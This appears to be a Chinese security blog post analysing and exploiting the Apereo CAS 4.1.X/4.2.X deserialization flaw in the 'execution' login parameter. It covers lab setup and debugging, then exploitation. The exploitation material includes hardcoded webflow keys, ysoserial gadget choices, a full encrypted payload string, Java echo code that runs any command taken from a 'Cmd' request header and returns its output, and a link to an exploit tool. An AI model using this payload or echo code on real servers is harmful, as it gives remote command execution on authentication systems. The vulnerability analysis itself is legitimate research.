Apereo_CAS_反序列化漏洞分析及利用

  • A+
所属分类:安全文章

Apereo CAS 是一个开源的统一认证服务(单点登录系统),CAS是Central Authentication Service的首字母缩写。根据网上公开的漏洞详情,影响版本为4.1.X和4.2.X,本文讲述从环境搭建、漏洞分析到漏洞利用CAS反序列化漏洞
一、环境搭建
1. 4.1.X环境
从github上下载cas-overlay-template,命令

git clone -b 4.1 https://github.com/apereo/cas-overlay-template.git


Apereo_CAS_反序列化漏洞分析及利用
根据官方安装说明(
https://github.com/apereo/cas-overlay-template/tree/4.1)进行编译和运行,以4.1.5为例:
进入目录cas-overlay-template,修改pom.xml文件中cas版本为4.1.5
Apereo_CAS_反序列化漏洞分析及利用
修改mvn仓库地址为aliyun的,不然编译和下载会很慢

<repository> <id>nexus-aliyun</id><url>http://maven.aliyun.com/nexus/content/groups/public</url</repository>

Apereo_CAS_反序列化漏洞分析及利用
使用如下命令,编译CAS

./mvnw clean package 


Apereo_CAS_反序列化漏洞分析及利用
使用以下命令复制etc目录下的cas.properties log4j2.xml 到/etc/cas

sudo mkdir /etc/cas
sudo cp etc/cas.properties /etc/cas/
sudo cp etc/log4j2.xml /etc/cas/


因为jetty会启动https协议,根据配置文件,会使用/etc/cas/jetty/thekeystor文件作为keystore,所以要创建jetty keystore ,并在创建的时候设置密码,这里设置为111111,命令如下:

sudo mkdir /etc/cas/jetty
cd /etc/cas/jetty/
sudo keytool -genkey -alias thekeystore -keyalg RSA -validity 36500 -keystore thekeystor


修改目录cas-overlay-template下etc/cas/jetty/jetty-ssl.xml文件密码为创建jetty keystore 输入的密码
Apereo_CAS_反序列化漏洞分析及利用
启动CAS

./mvnw jetty:run-forked


Apereo_CAS_反序列化漏洞分析及利用
Apereo_CAS_反序列化漏洞分析及利用
访问以下URL(
http://127.0.0.1:8080/cas/login) 出现以下页面,环境搭建完成。同时还启动了https URL为https://127.0.0.1:8443/cas/login
Apereo_CAS_反序列化漏洞分析及利用
2. 4.2.X环境
与4.1.X相似,修改从github上下载分支为4.2

git clone -b 4.2 https://github.com/apereo/cas-overlay-template.git


4.2.x要进行漏洞复现,这里有个坑,会在后面参数加解密部分详细阐述
二、配置IDEA调试环境
1. 创建一个项目,将cas-overlay-template/target/cas/目录复制到IDEA中,并导入lib目录下的jar包为项目library库
Apereo_CAS_反序列化漏洞分析及利用
2. 配置和启动idea debug
CAS环境启动后除了8080和8443端口外还会启动jetty的远程调试端口,默认监听端口号为5000,配置IDEA增加远程设置,配置如下
Apereo_CAS_反序列化漏洞分析及利用
启动debug,出现如下则证明debug正常
Apereo_CAS_反序列化漏洞分析及利用
三、漏洞分析
这里就不做太多的分析,根据网上大佬的文章文章,漏洞触发点在org.jasig.spring.webflow.plugin.EncryptedTranscoder的decode方法,调用了ObjectInputStream的readObject()方法导致反序列化漏洞。
1. 找漏洞点
在相应位置下个断点
Apereo_CAS_反序列化漏洞分析及利用
在web界面中cas用户登录的地方随便输入用户名和密码,然后提交,debug到了,走到了漏洞关键代码处
Apereo_CAS_反序列化漏洞分析及利用

CAS反序列化漏洞,通过burpsuite抓包和IDEA调用栈查看分析,序列化数据的输入点是post提交的execution参数
Apereo_CAS_反序列化漏洞分析及利用
Apereo_CAS_反序列化漏洞分析及利用

2.分析序列化参数
execution参数会转化为org.jasig.spring.webflow.plugin.ClientFlowExecutionKey,其格式为uuid加base64编码后的加密序列化数据,也就意味着要利用需要先将payload进行加密才行
Apereo_CAS_反序列化漏洞分析及利用

org.jasig.spring.webflow.plugin.EncryptedTranscoder 类为execution参数进行加解密的类,有两个构造函数,一个无参构造函数和一个带参数为CipherBean的构造函数
Apereo_CAS_反序列化漏洞分析及利用
4.1.X和4.2.X的加密方式是不同的,4.1.X会调用EncryptedTranscoder的无参构造函数,然后调用createAndPrepareKeyStore方法初始化KeyStore
Apereo_CAS_反序列化漏洞分析及利用
最后在spring-webflow-client-repo-1.0.0.jar包中读取keystore文件,/etc/keystore.jceks
Apereo_CAS_反序列化漏洞分析及利用

4.2.X会调用EncryptedTranscoder 类,参数为CipherBean的构造函数创建EncryptedTranscoder 类的对象使用CipherBean进行加解密,这里的CipherBean其实是org.jasig.cas.web.flow.CasWebflowCipherBean,从调用栈可以看出
Apereo_CAS_反序列化漏洞分析及利用

CasWebflowCipherBean的创建会传递org.jasig.cas.util.WebflowCipherExecutor类的对象
Apereo_CAS_反序列化漏洞分析及利用
WebflowCipherExecutor对象的创建会传递3个参数,会从cas的配置文件cas.properties去读取加密密钥(webflow.encryption.key)、签名密钥(webflow.signing.key)和算法三个参数,
如果为空则采用随机密钥,具体可看其父类BinaryCipherExecutor的verifyAndSetKeys方法
Apereo_CAS_反序列化漏洞分析及利用
默认官方给的cas.properties配置文件中密钥是空的,所以4.2.X应该使用的是随机密钥,所以4.2.X要复现漏洞需要在cas.properties文件配置密钥,这里指定是网上大佬给的密钥。

# The encryption secret key. By default, must be a octet string of size 256.
webflow.encryption.key=C4SBogp_badO82wC

# The signing secret key. By default, must be a octet string of size 512.
 webflow.signing.key=8_G6JMTdkxiJ5rN0tqFrEOQj200VoxGrRzAp7bvjMFSGdA2IOzdFRsGv3m3GMNVmoSJ0O4miIBrYCHx_FWP4oQ


Apereo_CAS_反序列化漏洞分析及利用

三、漏洞利用
1. 生成payload
4.1.X版本依赖CommonsCollections4.0,直接使用ysoserial项目中CommonsCollections4.0的 Gadget即可
Apereo_CAS_反序列化漏洞分析及利用
4.2.X版本中删除了CommonsCollections4.0的依赖,所以不能用了,但是有C3P0的依赖,所以可以使用ysoserial项目中的C3P0 Gadget
Apereo_CAS_反序列化漏洞分析及利用
关于加密,4.1.X直接使用EncryptedTranscoder默认构造函数即可,4.2.X需要使用带参构造函数,传入密钥即可

Apereo_CAS_反序列化漏洞分析及利用
根据前面的分析,利用的是execution参数,参数格式为uuid加base64编码后的加密序列化数据,构造payload后发送给CAS。
Apereo_CAS_反序列化漏洞分析及利用

execution=3f0a8d5d-6d58-4755-900a-363b972effc1_AAAAIgAAABDE2HZ3uiB2bzFHXNO5uObYAAAABmFlczEyOCPJEIAG4U8FA%2b%2bSoqcRzovVlpSWfd/raZVfVf3gXUc8f9Xz%2beN25UhRBwwmMRAv%2byjSVLKbWeRzPkGeVvof/44rS4PcFfF9pzwo%2bEbqJz6ZBCo5%2blAczVCAp8UBjRy7R/jkb/YSZj6YBHDMJ0ejjqFly779A9b3opzyMwCIJod0yvs0qtYNd0qXhd8yY/XpatlelngVKxqLDp0lrwXmP7W3YblsIV/r3bJv2mHk1qAgVL54yTX4en4i17z37qKv6CBkRxZN5ORAERYUm4E%2bsmckjnQEKcjb2bqMWSi7WKxc57DPIBwnjmUJ8plB8aoNsjKxuOYri%2bsBpkZDcFucuyiTOwPOlGm4CaUYHxpoCiaLSJb%2bsj/0Iml107F8L%2bH/pzwtH1BHQef1eVtcml0AKGpVf0YzR9UUua8PysUxbqQpFa36nC3RgIoz97v9Hi6oCkBg9WlarS0QVE7lUSG6SquiT/hzPz9TvP%2b3Yw48BrU04JltH76rboR07zDvgMy3sBk32hKb8w2qbBk5Vo3xVRqwS8Z6fUm1Zl9BnRXr1/kIFP58dLbkwraq%2bD4/%2bbtAMb4F7LB8c%2b1jihZU3vHI7gvpQTtrLr4z%2bqtm8C8NN4rkcbT77QLfKM%2bMCqRhSFzoGyy9Qs%2bhO3Xi34tHUh6oANU3FPP/Cd%2b3/B6w%2bw9W13ecESXG8H6w374I64UiWRQRSnWqciO%2b4BVhkdRtfOF2d7UCw9zL/vqwrTcMgUtbCPtbD1Wj/ucxvut5oeeBPlfPicGz0Ohr9FI0C9j1myRP6DZ6Uv2SlomPnNhrY/z7C6SbjkSF9CLvOhN92XA9OklEkm1HOIm7uFhQ5JL1Fv60muZW/ifqjUrR2kkhUv/LA4nixpcjUpOYRdbT2O7/wIXs7jhInwlFVACx3TL4KrRO6Zb79uGJJdMlHdWREfPr81dxJ9G8u%2bYNYz2djvrbTV%2b/BgZxMRmVugXLH7%2bQRAOhozyvDm5XMnGusjga/NLBFQO4A341puj2QzTdG2R%2bzUexFLeXc2TZ5XgrKqVvjIKeNYPECSKDiZZc%2bj1ivpQt4bUNS2Nx7Hup2%2bUhiwxA8pVtxiVY0YU3QWvphUXUSdu5nFp7qOGz0Yy9m5wOU4kIKyIlJnEeaKVMTETd7TtzhQ5sYEATKpzGUrezaaHei0%2bbkRjGAgK7q8/Wkb/tueJZ2af3IeHOeyulA/%2bHRpvDDMzS0AiGvhvLMVu7PNUKpIKrGuPgIPuXTy6N2WoYQiewnAKekaS03DukE2g%2bTTMFVJ2OXUBpF5MHxAs68NoJCw0s/UgdzKaYWUHH6dS9AjMiYx0eSS7RtUf6bbgMZkLQzL%2bW4CV8gRvacJ7Jn0bsg3zZBGt/8CaVfhNpXU4g3MqAYz9w0iinx0mUPgP7%2bYwf2D2Qg/KkGeY8Qg3sJH4T7oEjs4PjeqbYpPGxjQZd7Uhlv%2b8TkorNmfGXBrl6M9Deow3lWGX/zl1u9uH%2bbNTiSRJAb1dGqqiVtGE3j1Ld/RRgxCI9/TB93dBdovtdKVmhZyjfsIWQS5ypneaYgFbv/l0WBG8GvwGs3QBbYDQbNC8lF5OQ7OS0xCYWBecHqvOlEjU68Yb8crUe3f0q9YXkDum%2b3OlDwmg/SQylqrmO9taYI%2brU8JByMu/ZnTjiWPMOyUx9Codsj5ml6PxMK3OcZHBj7G9BLJJz4XHPisOZxt0LUjKMeH/0itQmxeEnPn%2blvcOWp%2bYNsF6UjmYdnKkSEd9s61jN9lPwCB3m10w%2bRWEIPbbgm6Gn/Yelf1dd4T%2b4e70tJeTWI%2bImR%2be97HxOLEyw3D7aCSzS0LSzTvtGsdk7XrvmiYTzK3aR/i/SQypZCNgpi4vncxLAQ8iJ9xT541Z0gqhWYfJB7XS087RhmnhGfwISZ5rkjYBZPr12Ho5M4xaRKfpu2qWgbnvuBBqMNJWu5JOPMbgVMm3C3DzcRnTs9oVnI81go4j1yJ0tOAguj8iviikAk1/2s3EIgFGnA6gxSZV6XlDwhqpBFzMwQNne/O0bvezmLwQ/Rx%2bjbNSo8ZhmdQ%3d%3d

2. 关于回显
要能够回显,则要在反序列化的Gadget中能够拿到HttpServletResponse的对象,因为CAS使用了spring web,在spring web中会将Response的对象放到org.springframework.web.context.request.RequestContextHolder中
所以我们直接通过RequestContextHolder.getRequestAttributes()).getResponse()就能拿到。

public EchoClass() throws IOException {
      HttpServletResponse resp=((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getResponse();
      HttpServletRequest req=((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
      String cmd=req.getHeader("Cmd");
      if(cmd==null||cmd.equals("")){
          cmd="whoami";
      }
      String name=System.getProperty("os.name");
      String[] cmds =name!=null&&name.toLowerCase().contains("win") ? new String[]{"cmd.exe""/c",  cmd}:new String[]{"sh""-c", cmd};
      InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
      byte[] buf=new byte[1024];
      int len=0;
      while ((len=in.read(buf))!=-1){
          resp.getOutputStream().write(buf,0,len);
      }
      resp.getOutputStream().flush();
      resp.getOutputStream().close();
  }


效果
Apereo_CAS_反序列化漏洞分析及利用
3. 综合利用
写了一个小工具,支持CAS 4.1.X和4.2.X,如果不能回显则通过dnslog判断漏洞是否存在,支持发送相关payload到cas
4.1.X
Apereo_CAS_反序列化漏洞分析及利用
4.2.X
Apereo_CAS_反序列化漏洞分析及利用
Apereo_CAS_反序列化漏洞分析及利用
github地址
https://github.com/21superman/Cas_Exploit

参考文档:
https://xz.aliyun.com/t/7032
https://www.joyk.com/dig/detail/1581298248118249

本文始发于微信公众号(自贸安全团):Apereo_CAS_反序列化漏洞分析及利用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: